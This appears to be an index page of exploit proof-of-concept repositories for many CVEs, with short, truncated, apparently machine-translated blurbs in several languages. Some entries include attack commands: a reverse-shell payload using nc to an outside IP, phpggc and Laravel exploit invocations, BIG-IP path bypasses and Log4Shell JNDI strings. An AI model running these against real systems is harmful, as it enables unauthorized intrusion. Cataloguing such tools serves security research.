CVE-2018-16763-Exploit-Python3

CVE-2018-16763 FuelCMS 1.4.1 Vulnerabilità di Esecuzione Remota di Codice Questo è un porting in Python 3 della vulnerabilità su https://www.exploit-db.com/exploits/47138, creato da 0xd0ff9. Per eseguire l'exploit, modifica la variabile url nel codice con l'URL target che vuoi attaccare, e aggiun...

CVE-2017-0199

CVE-2017-0199 Exploit toolkit CVE-2017-0199 - v2.0 è un pratico script Python che fornisce un modo rapido ed efficace per sfruttare la vulnerabilità RCE di Microsoft RTF. Può generare un file RTF dannoso e consegnare il payload metasploit / meterpreter alla vittima senza alcuna configurazione...

Spring-Boot-Tomcat-CVE-2025-24813

CVE-2025-24813: Apache 1. Spiegazione Tomcat è vulnerabile a causa di due vulnerabilità separate, la prima è una debolezza in DefaultServlet che consente put parziali per scrivere una directory temporanea vedi:...

PoC-CVE-2015-10141-Xdebug

PoC-CVE-2015-10141 Exploit Python personalizzato per Xdebug ≤ 2.5.5 CVE-2015-10141. Descrizione Questo repository contiene il mio exploit di prova di concetto PoC per la vulnerabilità di esecuzione remota di codice in Xdebug nelle versioni 2.5.5 e precedenti. Lo script sfrutta il protocollo di...

CVE-2020-15568

CVE-2020-15568 Ein schneller und einfacher POC für CVE-2020-15568. Nicht getestet, aber basierend auf Informationen von hier: https://ssd-disclosure.com/ssd-advisory-terramaster-os-exportuser-php-remote-code-execution/...

CVE-2023-30258-RCE-POC

CVE-2023-30258-RCE-POC POC für CVE-2023-30258-RCE von n0o0b Verwendung root@kitploit: usage: poc.py -h -u URL -c CMD example. python poc.py -u http://10.10.69.34/mbilling --cmd "nc -c sh 10.21.126.163 8888" options: -h, --help show this help message and exit -u URL, --url URL Target URL -c CMD,...

CVE-2019-19609-POC-Python

Das Skript versucht, das Passwort auf das in der Variable "updatedpass" deklarierte zurückzusetzen. Bei Erfolg gibt es ein JWT-Token von Strapi aus und verwendet es, um Befehle auszuführen. Das Ausführen von Bind-Befehlen funktioniert nicht, es sei denn, man sendet ein Reverse-Shell-Payload, mit...

CVE-2021-44228-Demo

CVE-2021-44228-Demo Esempio di iniezione remota di codice tramite RMI e LDAP sfruttando CVE-2021-44228. root@kitploit: Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit...

CVE-2020-5902

CVE-2020-5902 BIG-IP RCE Atualização: use /hsqldb%0a/ para contornar regras de desserialização Java ou /hsqldb%b /hsqldb; root@kitploit: /tmui/login.jsp/..;/hsqldb Redirect 404 / bypass /hsqldb; Redirect 404 / bypass /hsqldb%0a include 'FileETag MTime Size Redirect 404 / Redirect 404 / ' fix:...

PoC-CVE-2017-3881

PoC-CVE-2017-3881 Cisco Catalyst Remote Code Execution PoC Questo repository contiene il codice Proof-of-Concept per sfruttare la vulnerabilità di esecuzione remota di codice divulgata da Cisco Systems il 17 marzo 2017 -...

PoC-CVE-2017-0199

PoC-CVE-2017-0199 Toolkit di exploit per la vulnerabilità RCE di Microsoft RTF. Informazioni su questa vulnerabilità: https://errorcybernews.com/2017/04/11/microsoft-word-zero-day/...

r2s

R2S - React2Shell Scanner Ein webbasierter Schwachstellenscanner für CVE-2025-55182 , eine kritische Remote-Code-Ausführung RCE Sicherheitslücke in React Server Components. Live-Scanner: https://r2s.mxm0z.com Über CVE-2025-55182 CVE-2025-55182 ist eine kritische CVSS 10.0 Sicherheitslücke im Reac...

laravel-exploits

laravel-exploits Exploit for CVE-2021-3129 Details: https://www.ambionics.io/blog/laravel-debug-rce Usage root@kitploit: $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar...

laravel-exploits

laravel-exploits Exploit per CVE-2021-3129 Dettagli: https://www.ambionics.io/blog/laravel-debug-rce Utilizzo root@kitploit: $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/...

CVE-2024-47076

CUPS Common UNIX Printing System, il sistema di stampa dei sistemi Linux e Unix, è un servizio che riguarda la gestione della stampa su questi sistemi e la distribuzione dei compiti tra i dispositivi. Su questo servizio è stata divulgata una vulnerabilità di sicurezza denominata CVE-2024-47076...

CVE-2026-6433

CVE-2026-6433 — प्रमाण-अवधारणा FlipperCode — Custom CSS, JS & PHP · अप्रमाणित SQL इंजेक्शन → RCE eval के माध्यम से प्रभावित: FlipperCode Custom CSS, JS & PHP ≤ 2.0.7 · WordPress प्लगइन सतह admin-ajax.php के माध्यम से एक नज़र में...

ASUS-AiCloud-RCE

Origasus origasus.go ile derlenen, ASUS AiCloud / AsusWRT ile ilişkilendirilebilecek uçların yetkili güvenlik testi veya savunma analizi ör. kendi cihazınız, yazılı penetest laboratuvarı kapsamında incelenmesi için yazılmış bir Go programıdır. Önemli: Bu tür yazılımların yetkisiz sistemlere karşı...

PrintNightmare

PrintNightmare यह एक प्रोजेक्ट है जो विंडोज सुरक्षा उल्लंघन PrintNightmare! CVE-2021-34527 से लड़ने में मदद करेगा। आपको पता होना चाहिए कि माइक्रोसॉफ्ट ने इस उल्लंघन के खिलाफ एक पैच जारी किया है, लेकिन यह पूरी तरह से कार्यात्मक नहीं है और केवल RCE रिमोट कोड निष्पादन से लड़ता है, जबकि LPE स्थानीय...

CVE-2024-23897

CVE-2024-23897 Jenkins CI: lettura arbitraria di file autenticata tramite la CLI che porta all'esecuzione remota di codice RCE Jenkins è uno strumento DevOps open source autonomo di automazione software per l'integrazione continua/la distribuzione e l'implementazione continua CI/CD, scritto nel...

CVE-2022-41828

CVE-2022-41828 Amazon AWS Redshift JDBC-Treiber Remote Code Execution RCE Der Amazon JDBC-Treiber für Redshift ist ein Type 4 JDBC-Treiber, der Datenbankkonnektivität über die standardmäßigen JDBC-Anwendungsprogrammierschnittstellen APIs bereitstellt, die in der Java Platform, Enterprise Edition...